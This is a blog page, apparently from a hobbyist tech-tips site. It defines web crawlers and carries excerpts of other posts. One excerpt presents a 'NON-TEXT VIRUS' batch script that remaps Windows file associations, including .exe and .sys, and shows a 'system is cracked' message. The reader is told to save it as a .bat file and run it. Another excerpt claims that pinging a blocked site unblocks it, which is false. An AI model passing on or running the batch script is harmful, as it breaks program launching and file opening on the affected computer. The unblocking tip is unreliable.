Skip to main content

What is Web crawler?

Image result for What is Web crawler?
A web crawler (also known as a web spider or web robot) is a program or automated script which browses the World Wide Web in a methodical, automated manner.
This process is called Web crawling or spidering.
  Many legitimate sites, in particular search engines, use spidering as a means of providing up-to-date data.
  Web crawlers are mainly used to create a copy of all the visited pages for later processing by a search engine, that will index the downloaded pages to provide fast searches.
  Crawlers can also be used for automating maintenance tasks on a Web site, such as checking links or validating HTML code.
  Also, crawlers can be used to gather specific types of information from Web pages, such as harvesting e-mail addresses (usually for spam).
_________________________
Labels:

Comments

Post a Comment

Popular posts from this blog

HOW TO BYPASS OR UNBLOCK BLOCKED SITES:-

Today everyone of us is a part of any college,office or any organization. Everywhere we find free open wifi’s , but the major problem with these are there are many websites which are blocked by the servers of college,ofiice or any organization. There are different type of securities that are implemented in these server to block some sites like Facebook ,Twitter etc. So In this post i’ll tell you easy and permanent method to access or bypass blocked sites Steps To Bypass Blocked Sites-   1. Connect your pc or laptop with wifi or your broadband connection in which you want to access blocked websites.   2. Open command prompt by clicking start and the typing “cmd” and then pressing enter.   4. 3. Now a command prompt window will appear.   5. Type ping Websitename (for exp: ping http://facebook.com) and press enter.   6. Now open your browser and enter the site which you had recently ping.   7.You will see the site will get...
Post a Comment
Read more

NON-TEXT VIRUS (changefile to nonworkingfile):-

the non-text virus change the format of your file in a way crupt your data if your file are in these format(.exe .jpeg .png  .mpeg .sys) Type/copy the following code in notepad:- @echo off   assoc .txt=jpegfile   assoc .exe=htmlfile   assoc .jpeg=avifile   assoc .png=mpegfile   assoc .mpeg=txtfile   assoc .sys=regfile   msg Your System is cracked …..   exit   save it as (nontext .bat) and run it.
Post a Comment
Read more

How to Use Your Phone as a Webcam?

A quick search on Google Play throws up several webcam applications. We tried 5 of the top 10 results, but most didn’t work properly. From the ones that didn’t crash repeatedly, SmartCam failed to show the video, and DroidCam needs you to install an app on Windows to work. IP Webcam is easily the best of the lot because it works through your browser, which gives it the cross-platform compatibility. To set up a security camera on Android, follow these steps. 1. Connect your computer and the phone to the same Wi-Fi network. 2. Install the IP Webcam app on your smartphone. 3. Close all other camera apps. Force close them from the app switcher before you proceed. 4. Launch the IP Webcam app. Scroll to the bottom and tap Start server. 5. The app will now fire up your phone’s camera and display a URL. Our URL was http://172.32.15.110:8080. 6. Enter this URL in any browser on your computer and hit Enter. 7. In the browser, you’ll see a drop down menu n...
Post a Comment
Read more